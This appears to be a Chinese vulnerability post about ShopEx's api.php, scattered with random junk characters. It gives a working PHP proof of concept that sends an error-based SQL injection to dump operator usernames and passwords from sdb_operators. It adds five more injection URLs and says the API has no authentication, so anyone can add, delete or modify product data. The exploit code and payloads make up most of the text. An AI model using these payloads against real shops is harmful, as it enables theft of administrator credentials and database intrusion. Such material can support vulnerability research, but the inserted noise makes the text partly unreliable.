|
缺陷文件:\core\api\payment\2.0\api_b2b_2_0_payment_cfg.php8 i f/ ^, Q, z+ E" g
core\api\payment\1.0\api_b2b_2_0_payment_cfg.php
4 h T3 D: q2 r% V2 n- k- K% Q3 o3 c: K) C0 B6 L
第44行 $data['columns'] 未做过滤导致注入' N$ E5 ~! n$ z+ g0 }# K/ N; c$ g
9 C& v* c F9 H<?php set_time_limit(0); ob_flush(); echo 'Test: http://localhost:808'."\r\n"; $sql = 'columns=* from sdb_payment_cfg WHERE 1 and (select 1 from(select count(*),concat((select (select (SELECT concat(username,0x7c,userpass) FROM sdb_operators limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#&disabled=1'; $url='http://localhost:808/api.php?act=search_payment_cfg_list&api_version=2.0'; $ch = curl_init(); curl_setopt($ch, CURLOPT_POST, 1); curl_setopt($ch, CURLOPT_URL,$url); curl_setopt($ch, CURLOPT_POSTFIELDS, $sql); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); flush(); $data = curl_exec($ch); echo $data; curl_close($ch); ?>外带一句 ShopEx对API操作的模块未做认证,任何用户都可访问,攻击者可通过它来对产品的分类,类型,规格,品牌等,进行添加,删除和修改,过滤不当还可造成注入.
# |+ S% H3 c6 B9 ^. a! [
6 K+ P3 q/ k7 d" X注射1:
7 B# W) x4 n7 _! d" A' f: T
- u5 ]# ^; z, C2 F# Ghttp://www.0day5.com/api.php POST act=search_sub_regions&api_version=1.0&return_data=string&p_region_id=22 and (select 1 from(select count(*),concat(0x7c,(select (Select version()) from information_schema.tables limit 0,1),0x7c,floor(rand(0)*2))x from information_schema.tables group by x limit 0,1)a)#
1 w% q0 j% M8 b
( u8 n4 i+ U* [ s9 n+ W注射2:0 d8 y7 T; {; C* S9 ]5 G4 o! }/ g
http://www.0day5.com/shopex/api.php act=add_category&api_version=3.1&datas={"name":"name' and 1=x %23"}
% s7 J0 m8 h4 X) C4 M# T& r5 |6 Z
注射3:
/ G- W% r- j7 g. _; D+ p" R. S2 C' [ http://www.0day5.com/shopex/api.php act=get_spec_single&api_version=3.1&spec_id=1 xxx
B9 u/ H. h0 j注射4:
% A1 ^9 B) x; F4 t$ d( W0 q. v7 o7 E! C( L2 M
http://www.0day5.com/shopex/api.php act=online_pay_center&api_version=1.0&order_id=1x&pay_id=1¤cy=1
: k) X5 r) K1 \, v t: D2 B# Y& _! ~) p
. F1 `+ Z9 g# M6 ]" v, t注射5:' e+ D) `$ V( [6 b& X) G
http://www.0day5.com/shopex/api.php act=search_dly_h_area&return_data=string&columns=xxxxx
8 H" {* N# o6 Q" r, Q9 q: `9 C* L
5 B+ c3 K L7 G6 i* H" ]& U
" V% X, ?2 G9 g# `% v# r5 J4 z8 h
4 s1 q( u$ B3 f F
: ]0 j/ U' O& L" l+ u* @# G; s7 Q7 ^8 D# R9 c( Y+ c
& c& j) a1 V# n0 g1 A6 G |
|